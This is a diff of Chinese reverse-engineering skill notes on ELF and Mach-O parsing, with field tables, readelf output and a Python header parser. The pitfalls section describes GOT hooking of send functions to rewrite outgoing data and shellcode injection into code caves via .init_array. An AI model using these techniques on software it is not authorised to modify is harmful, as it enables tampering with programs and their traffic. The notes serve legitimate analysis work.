8. **手工解析与验证**:readelf 输出异常/头字段被伪造时,用 `xxd` + Python `struct` 按偏移直接解析 ehdr/phdr/shdr(最小可运行示例与字节样例见 [[examples]]),别把解析失败当"损坏文件"丢弃。
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-binary-core]]:工作流第 3 步,ELF 目标格式解析
|
||||
- [[re-mobile]]:Android 原生 .so 库(分析 App 前先走本技能)
|
||||
- [[re-firmware]]:嵌入式 Linux 固件中的 ELF 组件
|
||||
- [[re-ctf]]:pwn/逆向题常见 ELF 目标
|
||||
- 发现壳/混淆时转 [[re-anti-analysis]]
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **init_array 藏初始化/反调试**:比 main 更早执行,只看 main 会漏掉预置逻辑
|
||||
- **stripped 后符号只剩 dynsym**:`readelf -s` 列表骤减,恢复靠字符串交叉引用 + 签名匹配,别期待完整符号
|
||||
- **GOT 覆盖是常见攻击点**:非全 RELRO 时 GOT 可写——逆向/利用分析都要确认 `GNU_RELRO` 与 `BIND_NOW`
|
||||
- 检查跨架构 ELF(ARM/MIPS)时本机 objdump 报 "unknown format" → 用对应交叉工具或 QEMU 仿真(见 [[re-analyze/platform-tips]] Linux 分支)
|
||||
- **早期初始化链不止 init_array**:现象——查过 `.init_array` 却仍漏掉更早执行的逻辑(如 `strcmp@GOT` 被 hook 但 main 断点处未复现);原因——动态链接器初始化早期会先跑 `.preinit_array`(比 .init_array 更早),恶意构造器可在 main 之前覆写 GOT/装钩子;对策——`.preinit_array` 与 `.init_array` 都反汇编,在 `__libc_start_main` 调用 init 处断点,核对 GOT 条目在 main 前是否已被改写
|
||||
- **伪造节头使 readelf 报错**:现象——`readelf -S`/`-l` 报错或输出中断(e_shentsize 异常、程序头计数离谱、dynamic section 缺失);原因——混淆/对抗样本伪造头字段使工具解析失败;对策——`xxd` 手工核对 ehdr 关键字段(e_shoff/e_shnum/e_shentsize/e_phnum),按真实值修正后重解析,别当"损坏文件"丢弃
|
||||
- **fini 不在 main 后立即执行**:现象——在 main 返回处断点找不到"收尾"逻辑;原因——`fini`/`.fini_array` 在退出清理阶段执行(与 rtld_fini、atexit、析构函数一起),不紧跟 main;对策——收尾逻辑在 exit 路径(exit_group / rtld_fini)上断点,别在 main 尾部找
|
||||
|
||||
- **R_X86_64_RELATIVE addend 必须与 vaddr 体系自洽**:`*slot = B + addend`(B=加载 bias)。若产物 vaddr = ImageBase + RVA(PE 转换场景),文件槽内存储值即目标 vaddr → **addend = 存储值**;只有"vaddr = 纯 RVA"体系才用 `存储值 − ImageBase`——混用两套公式是终审级 bug(偏差恒定一个 base,且"能 dlopen"不暴露)
|
||||
- **SHF_ALLOC 节必须被 PT_LOAD 覆盖**:动态区(.dynsym/.dynstr/.hash)标记 SHF_ALLOC 但不在任何段内 → 加载器不映射,符号解析失败——手写 ELF 生成器时给动态区单独 PT_LOAD(p_offset 与 p_vaddr 可解耦)
|
||||
- **DSO 要求可执行栈而进程未启用 → dlopen 失败**:现象——`dlopen` 报 `cannot enable executable stack as shared object requires: Invalid argument`(glibc 对 dlopen 路径直接拒绝,非内核行为);原因——该 DSO 要求可执行栈而进程启动时未启用可执行栈,而"缺 `PT_GNU_STACK` 是否算要求"取决于目标 ABI 默认栈权限(x86/x86-64/arm32 等默认可执行、aarch64/riscv 等默认不可执行);对策——正解是给目标补非 X 的 `PT_GNU_STACK`(PF_R|PF_W、无 X、align 16);仅在确需兼容时可临时设 `glibc.rtld.execstack=2`(`=1` 实测无效;该值放宽限制、降低安全性)
|
||||
- **重定位目标段必须可写**:GLOB_DAT/RELATIVE 的 r_offset 所在段若只读(PF_R),ld.so 写入即 SIGSEGV——含重定位目标的节强制 PF_W(v1 可放弃 RELRO,后续再上 PT_GNU_RELRO)
|
||||
- **shstrtab 别用 strlen 取长**:字符串表以 `\0` 开头,strlen 在首字节截断为 1——用显式长度/sizeof;同理会坑 .dynstr 索引
|
||||
- **filesz > memsz 是 readelf 报错**:`p_memsz = max(vsize, raw_size)` 保证 filesz≤memsz,BSS 清零区语义由 loader 处理
|
||||
- **gzexe 包裹的 ELF(伪装 .sh)**:现象——目标文件拖进 IDA 报"不是 ELF 格式",但文件确实是可执行程序;原因——gzexe 把 ELF gzip 压缩后包在 shell 脚本里(Linux 常见压缩方式);对策——hexdump 看头确认(脚本头 + 尾部压缩数据),`gzexe -d` 解压还原真正的 ELF 再分析
|
||||
- **OLLVM 混淆 + 字符串加密的 ELF:GOT 出口拦截**:现象——静态补丁不可行(`51642` 类关键串运行时才解密,二进制里找不到);原因——OLLVM 字符串加密使字符串仅运行时出现在内存;对策——不在数据源头动手,在数据出口拦截:程序最终发送必然经 GOT 调 `sendto`/`send`/`write`/`SSL_write` → hook GOT 槽位,在 `buf` 中搜索 needle 替换后原样调用真函数;先用 debug 模式确认目标串确实出现在发送缓冲区再 patch;**OLLVM 可能混淆 GOT 值本身**(`MOVZ+MOVK×3` 拼出的 64 位常量 `got_addend`)——hook 安装时保持与混淆方式一致(改 `MOVZ+MOVK` 立即数而非直接写地址)
|
||||
- **code cave 注入 + 哨兵占位(免重编译)**:现象——要注入的 shellcode 地址依赖目标具体布局,每目标重写一次;原因——直接硬编码地址不可复用;对策——shellcode 内所有地址用哨兵值(如 `0xCAFEBABE` 开头)占位,patcher 注入时扫描哨兵替换为实际地址(cave 地址/偏移/原 init 指针均可自动检测);注入点用 `.init_array`(程序启动自动调用,比 main 早)
|
||||
@@ -0,0 +1,162 @@
|
||||
# ELF 最小解析示例
|
||||
|
||||
以下示例以本机 `/bin/ls`(x86-64 PIE)为标本,readelf 输出与 Python/字节样例可逐字段对照(不同发行版构建参数有差异,以样本自身输出为准)。结构定义见 [[layout]]。
|
||||
|
||||
## 1. readelf 输出对照
|
||||
|
||||
### `readelf -h /bin/ls`(ELF 头)
|
||||
|
||||
```
|
||||
ELF Header:
|
||||
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
|
||||
Class: ELF64
|
||||
Data: 2's complement, little endian
|
||||
Version: 1 (current)
|
||||
OS/ABI: UNIX - System V
|
||||
Type: DYN (Position-Independent Executable file)
|
||||
Machine: Advanced Micro Devices X86-64
|
||||
Entry point address: 0x5540
|
||||
Start of program headers: 64 (bytes into file)
|
||||
Start of section headers: 164784 (bytes into file)
|
||||
Size of this header: 64 (bytes)
|
||||
Size of program headers: 56 (bytes)
|
||||
Number of program headers: 15
|
||||
Size of section headers: 64 (bytes)
|
||||
Number of section headers: 29
|
||||
Section header string table index: 28
|
||||
```
|
||||
|
||||
对照要点:magic 第 5 字节 `02` = ELF64、第 6 字节 `01` = 小端;e_type=DYN 说明是 PIE(Address 全为相对基址偏移);e_phoff=64、e_phentsize=56、e_phnum=15 → 程序头表占文件 `64..64+15*56`。
|
||||
|
||||
### `readelf -l /bin/ls`(程序头,节选)
|
||||
|
||||
```
|
||||
Program Headers:
|
||||
Type Offset VirtAddr PhysAddr
|
||||
FileSiz MemSiz Flags Align
|
||||
PHDR 0x0000000000000040 0x0000000000000040 ...
|
||||
0x0000000000000348 0x0000000000000348 R 0x8
|
||||
INTERP 0x00000000000003ac 0x00000000000003ac ...
|
||||
0x000000000000001c 0x000000000000001c R 0x1
|
||||
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
|
||||
LOAD 0x0000000000000000 0x0000000000000000 ...
|
||||
0x00000000000024a0 0x00000000000024a0 R 0x1000
|
||||
LOAD 0x0000000000003000 0x0000000000003000 ...
|
||||
0x0000000000019ba1 0x0000000000019ba1 R E 0x1000
|
||||
LOAD 0x000000000001d000 0x000000000001d000 ...
|
||||
0x0000000000008e00 0x0000000000008e00 R 0x1000
|
||||
LOAD 0x0000000000026d10 0x0000000000026d10 ...
|
||||
0x0000000000001550 0x0000000000002868 RW 0x1000
|
||||
DYNAMIC 0x0000000000027a58 0x0000000000027a58 ...
|
||||
0x00000000000001f0 0x00000000000001f0 RW 0x8
|
||||
GNU_STACK 0x0000000000000000 0x0000000000000000 ...
|
||||
0x0000000000000000 0x0000000000000000 RW 0x10
|
||||
GNU_RELRO 0x0000000000026d10 0x0000000000026d10 ...
|
||||
0x00000000000012f0 0x00000000000012f0 R 0x1
|
||||
```
|
||||
|
||||
对照要点:4 个 PT_LOAD 按 R / R E / R / RW 权限分段(页对齐 0x1000);最后一个 LOAD 的 `FileSiz 0x1550 < MemSiz 0x2868`——差值即 .bss 零填充区;GNU_STACK 无 X = NX;GNU_RELRO 存在 + 后面 `readelf -d` 的 BIND_NOW = 全 RELRO(GOT 只读)。
|
||||
|
||||
### `readelf -S /bin/ls`(节头,节选)
|
||||
|
||||
```
|
||||
[ 2] .interp PROGBITS 00000000000003ac 000003ac
|
||||
[ 3] .gnu.hash GNU_HASH 00000000000003c8 000003c8
|
||||
[ 4] .dynsym DYNSYM 0000000000000468 00000468
|
||||
[ 5] .dynstr STRTAB 00000000000010c8 000010c8
|
||||
[ 8] .rela.dyn RELA 00000000000018d8 000018d8
|
||||
[11] .text PROGBITS 0000000000003040 00003040
|
||||
[13] .rodata PROGBITS 000000000001d000 0001d000
|
||||
[19] .init_array INIT_ARRAY 0000000000026d10 00026d10
|
||||
[20] .fini_array FINI_ARRAY 0000000000026d18 00026d18
|
||||
[22] .dynamic DYNAMIC 0000000000027a58 00027a58
|
||||
[23] .got PROGBITS 0000000000027c48 00027c48
|
||||
[24] .data PROGBITS 0000000000028000 00028000
|
||||
[25] .bss NOBITS 0000000000028260 00028260
|
||||
```
|
||||
|
||||
对照要点:`.dynsym`(节 4)与 `.dynstr`(节 5)的 sh_link 关系可从 `readelf -S` 完整输出的 Link 列看到;本机构建为 BIND_NOW,节表无 .plt/.rela.plt(惰性绑定二进制才有,见 [[layout]]);.init_array 与 .fini_array 都在数据段(RW),构造函数指针数组。
|
||||
|
||||
### `readelf -d /bin/ls`(dynamic section,节选)
|
||||
|
||||
```
|
||||
Dynamic section at offset 0x27a58 contains 26 entries:
|
||||
Tag Type Name/Value
|
||||
0x0000000000000001 (NEEDED) Shared library: [libcap.so.2]
|
||||
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
|
||||
0x000000000000000c (INIT) 0x3000
|
||||
0x0000000000000019 (INIT_ARRAY) 0x26d10
|
||||
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
|
||||
0x000000006ffffef5 (GNU_HASH) 0x3c8
|
||||
0x0000000000000005 (STRTAB) 0x10c8
|
||||
0x0000000000000006 (SYMTAB) 0x468
|
||||
0x000000000000000b (SYMENT) 24 (bytes)
|
||||
0x0000000000000007 (RELA) 0x18d8
|
||||
0x000000000000001e (FLAGS) BIND_NOW
|
||||
```
|
||||
|
||||
对照要点:NEEDED 给依赖链(libc.so.6 等);STRTAB/SYMTAB/SYMENT(24) 定位动态符号表;GNU_HASH 是新式符号查找;FLAGS=BIND_NOW 说明无惰性绑定。
|
||||
|
||||
## 2. Python struct 解析 ehdr(最小可运行)
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
def parse_ehdr(path):
|
||||
data = open(path, 'rb').read(64)
|
||||
if data[:4] != b'\x7fELF':
|
||||
raise ValueError('not an ELF')
|
||||
cls = data[4] # 1=ELF32 2=ELF64
|
||||
endian = '<' if data[5] == 1 else '>' # 1=LE 2=BE
|
||||
if cls == 2: # ELF64: 16sHHIQQQIHHHHHH
|
||||
fmt = endian + '16sHHIQQQIHHHHHH'
|
||||
f = struct.unpack_from(fmt, data, 0)
|
||||
return dict(e_type=f[1], e_machine=f[2], e_entry=f[4],
|
||||
e_phoff=f[5], e_shoff=f[6], e_ehsize=f[8],
|
||||
e_phentsize=f[9], e_phnum=f[10],
|
||||
e_shentsize=f[11], e_shnum=f[12], e_shstrndx=f[13])
|
||||
else: # ELF32: 16sHHIIIIIHHHHHH
|
||||
fmt = endian + '16sHHIIIIIHHHHHH'
|
||||
f = struct.unpack_from(fmt, data, 0)
|
||||
return dict(e_type=f[1], e_machine=f[2], e_entry=f[4],
|
||||
e_phoff=f[5], e_shoff=f[6], e_ehsize=f[8],
|
||||
e_phentsize=f[9], e_phnum=f[10],
|
||||
e_shentsize=f[11], e_shnum=f[12], e_shstrndx=f[13])
|
||||
|
||||
print(parse_ehdr('/bin/ls'))
|
||||
# {'e_type': 3, 'e_machine': 62, 'e_entry': 21824(0x5540), 'e_phoff': 64,
|
||||
# 'e_shoff': 164784, 'e_ehsize': 64, 'e_phentsize': 56, 'e_phnum': 15,
|
||||
# 'e_shentsize': 64, 'e_shnum': 29, 'e_shstrndx': 28} —— 与 readelf -h 逐字段一致
|
||||
```
|
||||
|
||||
按 ehdr 给的 e_phoff/e_phentsize/e_phnum 可同样解析 phdr:`struct.unpack_from('<IIQQQQQQ', data, e_phoff + i*56)`;shdr 同理 `'<IIQQQQIIQQ'`。注意先按 e_ident 判 class 与字节序再选格式([[layout]] 字段表)。
|
||||
|
||||
## 3. 字节样例(/bin/ls 前 64 字节,逐字段标注)
|
||||
|
||||
```
|
||||
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
|
||||
magic──┘ ┆┆┆ └┬┘ └┬┘ └── e_ident 填充 7 字节
|
||||
class=02(ELF64) data=01(LE) ver=01 osabi=00(SystemV)
|
||||
00000010: 0300 3e00 0100 0000 4055 0000 0000 0000 ..>.....@U......
|
||||
e_type=03(DYN)─┘ └e_machine=003e(62) e_version=1
|
||||
e_entry=0x5540──────────┘
|
||||
00000020: 4000 0000 0000 0000 b083 0200 0000 0000 @...............
|
||||
e_phoff=0x40───────────────────┘ e_shoff=0x283b0──────┘
|
||||
00000030: 0000 0000 4000 3800 0f00 4000 1d00 1c00 ....@.8...@.....
|
||||
e_flags=0 e_ehsize=64(0x40) e_phentsize=56(0x38)
|
||||
e_phnum=15(0x0f) e_shentsize=64(0x40)
|
||||
e_shnum=29(0x1d) e_shstrndx=28(0x1c)
|
||||
```
|
||||
|
||||
手工核对流程:`xxd -l 64 /bin/ls` 与 readelf -h 输出对照;魔数不符先查是不是 gzexe 包裹/自解压壳(见 SKILL.md 坑);伪造头字段时按真实值修正后重解析(见 SKILL.md 坑)。
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 所有解析先读 e_ident[4](class)与 e_ident[5](字节序),再选 struct 格式——32/64、LE/BE 混用是解析器最常见的错
|
||||
- 动态链接目标以 `readelf -d` 的 SYMTAB/STRTAB/SYMENT 为索引锚点,别硬编码节偏移
|
||||
- readelf 输出与文件字节必须能互相印证:对不上说明头被修改或工具解析歧义,先手工核对再下结论
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 静态分析无需沙箱(见 [[re-analyze/platform-tips]]);跨架构 ELF 的 `readelf -h/-l/-S` 本机可直接跑,反汇编才需交叉工具
|
||||
- 样例取自系统二进制仅作对照;分析真实样本时以样本自身三表为准,别套模板
|
||||
@@ -0,0 +1,139 @@
|
||||
# ELF 布局:ehdr / phdr / shdr 字段表与典型布局
|
||||
|
||||
ELF 文件 = ELF 头(ehdr)+ 程序头表(phdr,供加载器)+ 节区(sections)+ 节头表(shdr,供工具/链接器)。三张表的偏移与条数都在 ehdr 里给出(e_phoff/e_phnum、e_shoff/e_shnum),文件里可以按索引线性遍历。32 位与 64 位字段相同、大小不同(本文件以 64 位为主,32 位差异单独标注)。
|
||||
|
||||
## ELF 头(ehdr)
|
||||
|
||||
### e_ident 前 16 字节(0x00-0x0F)
|
||||
|
||||
| 偏移 | 名称 | 长度 | 典型值 |
|
||||
|---|---|---|---|
|
||||
| 0x00 | EI_MAG | 4 | `7F 45 4C 46`(`\x7fELF`),前 4 字节不符即非 ELF |
|
||||
| 0x04 | EI_CLASS | 1 | 1=ELFCLASS32,2=ELFCLASS64 |
|
||||
| 0x05 | EI_DATA | 1 | 1=小端,2=大端 |
|
||||
| 0x06 | EI_VERSION | 1 | 恒 1 |
|
||||
| 0x07 | EI_OSABI | 1 | 0=System V,3=Linux,9=FreeBSD;固件常见 0(裸机) |
|
||||
| 0x08 | EI_ABIVERSION | 1 | 0 |
|
||||
| 0x09-0x0F | 填充 | 7 | 0 |
|
||||
|
||||
### 字段表(64 位,总 64 字节;32 位总 52 字节)
|
||||
|
||||
| 偏移(64) | 名称 | 类型 | 含义 |
|
||||
|---|---|---|---|
|
||||
| 0x10 | e_type | u16 | 1=REL(可重定位 .o) 2=EXEC(固定基址) 3=DYN(PIE/共享库) 4=CORE |
|
||||
| 0x12 | e_machine | u16 | 62=x86-64 3=i386 40=ARM 183=AArch64 8=MIPS 20=PPC 243=RISC-V |
|
||||
| 0x14 | e_version | u32 | 1 |
|
||||
| 0x18 | e_entry | u64 | 入口点(DYN 下为相对基址的偏移) |
|
||||
| 0x20 | e_phoff | u64 | 程序头表文件偏移 |
|
||||
| 0x28 | e_shoff | u64 | 节头表文件偏移 |
|
||||
| 0x30 | e_flags | u32 | 架构相关(如 MIPS 的 ABI/ISA/PIC/NaN 等位,见 EF_MIPS_*;**不含字节序**——字节序始终看 e_ident[EI_DATA]) |
|
||||
| 0x34 | e_ehsize | u16 | 64(32 位为 52) |
|
||||
| 0x36 | e_phentsize | u16 | 56(32 位为 32) |
|
||||
| 0x38 | e_phnum | u16 | 程序头条数(=PN_XNUM 0xffff 时真实值在 shdr[0].sh_info) |
|
||||
| 0x3A | e_shentsize | u16 | 64(32 位为 40) |
|
||||
| 0x3C | e_shnum | u16 | 节头条数(=0 时真实值在 shdr[0].sh_size——与 e_phnum 不是同一套规则) |
|
||||
| 0x3E | e_shstrndx | u16 | 节名表(.shstrtab)在节头表里的索引(=SHN_XINDEX 0xffff 时真实索引在 shdr[0].sh_link) |
|
||||
|
||||
32 位偏移变化:e_entry=0x18(4B)、e_phoff=0x1C、e_shoff=0x20、e_flags=0x24、e_ehsize=0x28、e_phentsize=0x2A、e_phnum=0x2C、e_shentsize=0x2E、e_shnum=0x30、e_shstrndx=0x32。
|
||||
|
||||
## 程序头(phdr)——加载视图
|
||||
|
||||
64 位每条 56 字节;32 位 32 字节。
|
||||
|
||||
| 偏移(64) | 名称 | 类型 | 含义 |
|
||||
|---|---|---|---|
|
||||
| 0x00 | p_type | u32 | 1=PT_LOAD 2=PT_DYNAMIC 3=PT_INTERP 4=PT_NOTE 6=PT_PHDR 7=PT_TLS;GNU 私有:0x6474e550=GNU_EH_FRAME 0x6474e551=GNU_STACK 0x6474e552=GNU_RELRO |
|
||||
| 0x04 | p_flags | u32 | 1=PF_X 2=PF_W 4=PF_R |
|
||||
| 0x08 | p_offset | u64 | 段在文件中的偏移 |
|
||||
| 0x10 | p_vaddr | u64 | 段装载虚拟地址(DYN 为相对基址偏移) |
|
||||
| 0x18 | p_paddr | u64 | 物理地址(多数平台忽略) |
|
||||
| 0x20 | p_filesz | u64 | 文件内大小(readelf 要求 ≤ memsz) |
|
||||
| 0x28 | p_memsz | u64 | 内存大小(> filesz 部分为零填充,如 .bss) |
|
||||
| 0x30 | p_align | u64 | 对齐(页 0x1000;p_vaddr≡p_offset mod align) |
|
||||
|
||||
32 位顺序不同:p_type、p_offset、p_vaddr、p_paddr、p_filesz、p_memsz、p_flags、p_align(p_flags 在第 7 个而不是第 2 个)。
|
||||
|
||||
- PT_LOAD:定义需要装载进进程内存映像的 loadable segment(按 p_filesz/p_memsz 建立常规文件→内存映射);可执行文件至少 1 个,通常 2-4 个(R、R X、R W)。**不要表述成"唯一被映射的段类型"**——PT_PHDR 在存在时同时描述程序头表在文件与内存映像中的位置,PT_TLS 等也具运行时内存语义
|
||||
- PT_DYNAMIC:指向 .dynamic 段(DT_* 标签数组),动态链接入口
|
||||
- PT_INTERP:解释器路径字符串(`/lib64/ld-linux-x86-64.so.2`)
|
||||
- PT_GNU_STACK:**存在时**由 PF_X 决定是否请求可执行栈(内核按该 header 的 p_flags 控制用户栈权限)。**缺失时不能一律推断**,且分两个层面:内核装载主程序时按目标 ABI/实现决定(x86-64 上缺失按不可执行处理,ia32 上缺少 PT_GNU_STACK 会走 READ_IMPLIES_EXEC 使映射实际可执行);glibc 的 `dlopen` 判据不同——缺 header 时按该 ABI 的默认栈权限处理(x86/x86-64/arm32 等视为要求可执行栈、aarch64/riscv 等不要求),"要求可执行栈而进程未启用"即报 `cannot enable executable stack`(见 SKILL.md 坑)
|
||||
- PT_GNU_RELRO:该范围映射为只读(配合 BIND_NOW 为全 RELRO)
|
||||
|
||||
## 节头(shdr)——静态视图
|
||||
|
||||
64 位每条 64 字节;32 位 40 字节。
|
||||
|
||||
| 偏移(64) | 名称 | 类型 | 含义 |
|
||||
|---|---|---|---|
|
||||
| 0x00 | sh_name | u32 | 节名在 .shstrtab 内的偏移(0=无名) |
|
||||
| 0x04 | sh_type | u32 | 1=PROGBITS 2=SYMTAB 3=STRTAB 4=RELA 5=HASH 6=DYNAMIC 8=NOBITS(.bss) 9=REL 11=DYNSYM 14=INIT_ARRAY 15=FINI_ARRAY;0x6ffffff6=GNU_HASH |
|
||||
| 0x08 | sh_flags | u64 | 1=SHF_WRITE 2=SHF_ALLOC 4=SHF_EXECINSTR(A 标志 = 需装载进内存) |
|
||||
| 0x10 | sh_addr | u64 | 装载后的虚拟地址(非 ALLOC 节为 0) |
|
||||
| 0x18 | sh_offset | u64 | 文件偏移(NOBITS 节无内容) |
|
||||
| 0x20 | sh_size | u64 | 节大小 |
|
||||
| 0x28 | sh_link | u32 | 关联节索引(符号节→字符串节;RELA→符号表) |
|
||||
| 0x2C | sh_info | u32 | 附加信息(RELA:重定位的节索引) |
|
||||
| 0x30 | sh_addralign | u64 | 对齐 |
|
||||
| 0x38 | sh_entsize | u64 | 定长条目大小(符号 24、重定位 24、DT_ 16),0=不定长 |
|
||||
|
||||
## 常见 section 布局
|
||||
|
||||
典型非 PIE x86-64 可执行文件(地址从左到右递增):
|
||||
|
||||
```
|
||||
文件偏移 节 内存(vaddr) 属性
|
||||
0x000000 ELF header (64B)
|
||||
0x000040 Program headers (e_phnum×56B)
|
||||
0x0001a8 .interp 0x4001a8 R (解释器路径)
|
||||
.note.gnu.property .note.ABI-tag
|
||||
.gnu.hash 符号哈希(新式查找)
|
||||
.dynsym 动态符号表(24 字节/条) A
|
||||
.dynstr 动态符号字符串表 A
|
||||
.rela.dyn 重定位(DATA/RELATIVE) A
|
||||
.rela.plt 重定位(JUMP_SLOT) A
|
||||
.text 代码 AX
|
||||
.rodata 只读数据 A
|
||||
.eh_frame_hdr/.eh_frame
|
||||
.init_array/.fini_array 构造/析构指针数组 AW
|
||||
.dynamic DT_* 标签数组 AW
|
||||
.got/.got.plt GOT AW
|
||||
.data 已初始化数据 AW
|
||||
.bss 零初始化(NOBITS) AW
|
||||
文件尾 .symtab/.strtab(调试符号,可被 strip)
|
||||
.shstrtab 节名表
|
||||
Section headers(e_shoff 指向)
|
||||
```
|
||||
|
||||
布局要点:
|
||||
|
||||
- 程序头(加载视图)与节头(静态视图)是两套并行的视图:节可以不在任何段里(.comment、.shstrtab),段也可以不覆盖节头表(多数二进制如此)
|
||||
- 动态区(.dynsym/.dynstr/.gnu.hash/.rela.*/.dynamic/.got)全部带 SHF_ALLOC,因为运行时需要;.symtab/.strtab 不带——被 strip 后只剩动态区
|
||||
- 惰性绑定二进制有 .plt/.plt.got + .rela.plt;`-z now`(全 RELRO)二进制 GOT 装载时填好,只读
|
||||
- 现代发行版默认 `-z now` + PIE(e_type=DYN),部分构建无 .plt(GOT 直调)
|
||||
|
||||
## 动态链接对象链(符号解析路径)
|
||||
|
||||
```
|
||||
.dynamic (DT_* 标签)
|
||||
├─ DT_SYMTAB → .dynsym(每 24 字节一个 Elf64_Sym: st_name→dynstr 偏移, st_value, st_size, st_info(bind+type), st_shndx)
|
||||
├─ DT_STRTAB/DT_STRSZ → .dynstr(符号名字符串池)
|
||||
├─ DT_GNU_HASH / DT_HASH → 符号查找表(GNU_HASH 新格式:bloom 过滤器 + 桶 + 链;DT_HASH 旧格式仅桶链)
|
||||
├─ DT_JMPREL + DT_PLTRELSZ → .rela.plt(R_X86_64_JUMP_SLOT: GOT 槽 → 实际函数地址)
|
||||
├─ DT_RELA + DT_RELASZ → .rela.dyn(GLOB_DAT/RELATIVE/64)
|
||||
└─ DT_INIT_ARRAY/DT_INIT_ARRAYSZ → 构造函数指针数组(main 前执行)
|
||||
```
|
||||
|
||||
- R_X86_64_GLOB_DAT(6):GOT 槽 = 符号地址;R_X86_64_JUMP_SLOT(7):PLT/GOT 跳转槽;R_X86_64_RELATIVE(8):槽 = 基址 + addend
|
||||
- DT_BIND_NOW(或 DT_FLAGS 含 BIND_NOW):装载时完成全部重定位,GOT 只读(全 RELRO 前提)
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 一切偏移以 e_ident[4](class)分派:32/64 位结构大小不同,解析器先读 class 再选格式
|
||||
- **扩展编号(extended numbering)是三套独立规则**,手写解析器必须分别实现,不能共用一套逻辑:`e_phnum==PN_XNUM(0xffff)` → 真实程序头数在 `shdr[0].sh_info`;`e_shnum==0` → 真实节头数在 `shdr[0].sh_size`;`e_shstrndx==SHN_XINDEX(0xffff)` → 真实索引在 `shdr[0].sh_link`。三者都以"节 0 存在"为前提——建议配 parser fixture 验证这三条路径(工具一般已处理)
|
||||
- 大端目标(MIPS 固件常见)解析前按 EI_DATA 换字节序,别默认小端
|
||||
- readelf 能正常解析 ≠ 结构"正确":工具解析器有容错,关键结论(GOT 可写性、加载范围)对照 phdr 手工核一遍
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 静态分析无需沙箱;跨架构目标(ARM/MIPS/RISC-V)用 `readelf -h -l` 不依赖本机架构,反汇编才需要交叉工具
|
||||
- 与 [[re-imports]](导入导出/劫持面)、[[re-triage]](初勘)配合使用
|
||||
131
vendor-new/rev-skills/.claude/skills/re-format-macho/SKILL.md
Normal file
131
vendor-new/rev-skills/.claude/skills/re-format-macho/SKILL.md
Normal file
@@ -0,0 +1,131 @@
|
||||
---
|
||||
name: re-format-macho
|
||||
description: >
|
||||
Mach-O 格式解析:mach_header、LC_*、segment、dyld 信息。
|
||||
触发词:Mach-O、解析mac程序、dyld
|
||||
capabilities: [macho-parser]
|
||||
---
|
||||
|
||||
# Mach-O 格式解析
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:目标是 macOS/iOS 的 Mach-O 二进制(可执行文件/.dylib/.bundle/Framework),需要理解结构、load commands、入口、代码签名、动态库依赖链
|
||||
- 用:检查 dylib 注入(LC_LOAD_DYLIB 异常条目)、签名/公证状态、通用二进制多架构片
|
||||
- 不用:PE(走 [[re-format-pe]])、ELF(走 [[re-format-elf]])
|
||||
- 不用:只需函数逻辑(直接反编译技能);iOS 越狱环境问题属 [[re-mobile]] 域
|
||||
|
||||
## 工具准备
|
||||
|
||||
参考 [[re-analyze/platform-tips]] macOS 分支——attach/调试受 SIP 与 TCC 限制;静态解析不受影响。
|
||||
|
||||
### otool(Apple 自带)
|
||||
|
||||
- macOS: Xcode Command Line Tools: `xcode-select --install`
|
||||
- 验证: `otool --version`
|
||||
- Linux 替代: `llvm-otool`(`apt install llvm` / `brew install llvm` / `pacman -S llvm`),功能覆盖 otool 常用子命令
|
||||
|
||||
### llvm-objdump(跨平台)
|
||||
|
||||
- macOS: `brew install llvm`;Linux: `apt install llvm` / `dnf install llvm` / `pacman -S llvm`
|
||||
- 验证: `llvm-objdump --version`
|
||||
- 用法: `llvm-objdump --macho --private-headers sample`(Linux 上可直接解析 Mach-O,与 macOS 输出一致)
|
||||
|
||||
### jtool2(深入 Mach-O 结构,macOS)
|
||||
|
||||
- macOS: 从 GitHub(intezer/jtool2)clone 后 `make`,或下载 release 二进制
|
||||
- 验证: `jtool2 -h sample` 输出 load commands
|
||||
|
||||
### codesign / lipo(macOS 自带)
|
||||
|
||||
- 验证: `codesign --version`;`lipo -info sample`
|
||||
- Linux 替代: `llvm-lipo -info sample`(llvm 自带)
|
||||
|
||||
### dyld_shared_cache_util(macOS)
|
||||
|
||||
- 系统自带(`/usr/bin/dyld_shared_cache_util`);用途: 解析 dyld 共享缓存中的系统 dylib 时把单个库抽出来
|
||||
|
||||
## 操作步骤
|
||||
|
||||
1. **初勘(先确认类型与架构)**:
|
||||
```sh
|
||||
file sample # 可执行文件 / dylib / 通用二进制 / 字节序
|
||||
lipo -info sample # 通用二进制列出各架构片;单架构提示 "non-fat file"
|
||||
xxd -l 16 sample # 魔数: cffaedfe=64位小端, feedfacf=64位大端, cebafaed=32位小端, cafebabe=fat
|
||||
```
|
||||
魔数(文件里看到的字节):`cffa edfe`(MH_MAGIC_64)、`cefa edfe`(MH_MAGIC 32 位)、`cafe babe`(FAT,后跟 4 字节架构数)。通用二进制先 `lipo -thin <arch> -output piece sample` 提取单片再解析。
|
||||
|
||||
2. **mach_header 与 load commands(核心)**:
|
||||
```sh
|
||||
otool -h sample # magic/cputype/filetype/ncmds/flag 一行全出
|
||||
otool -l sample | head -80 # 全部 load commands
|
||||
```
|
||||
64 位 mach_header 固定 32 字节(32 位为 28 字节):magic(4) + cputype(4) + cpusubtype(4) + filetype(4) + ncmds(4) + sizeofcmds(4) + flags(4) + reserved(4,仅 64 位)。load commands 是 Mach-O 的"节表+导入表+入口+签名"综合体——从头到尾按 `cmdsize` 顺序遍历,`ncmds` 计数、`sizeofcmds` 为总字节数,两者互相校验。filetype: 2=MH_EXECUTE 6=MH_DYLIB 8=MH_BUNDLE。常见 LC 值与字段表见 [[layout]]。
|
||||
|
||||
3. **段与节(__TEXT/__DATA/__LINKEDIT)**:
|
||||
```sh
|
||||
otool -l sample | grep -A8 'segname __TEXT'
|
||||
otool -l sample | grep -A8 'segname __DATA'
|
||||
llvm-objdump --macho --section-headers sample
|
||||
```
|
||||
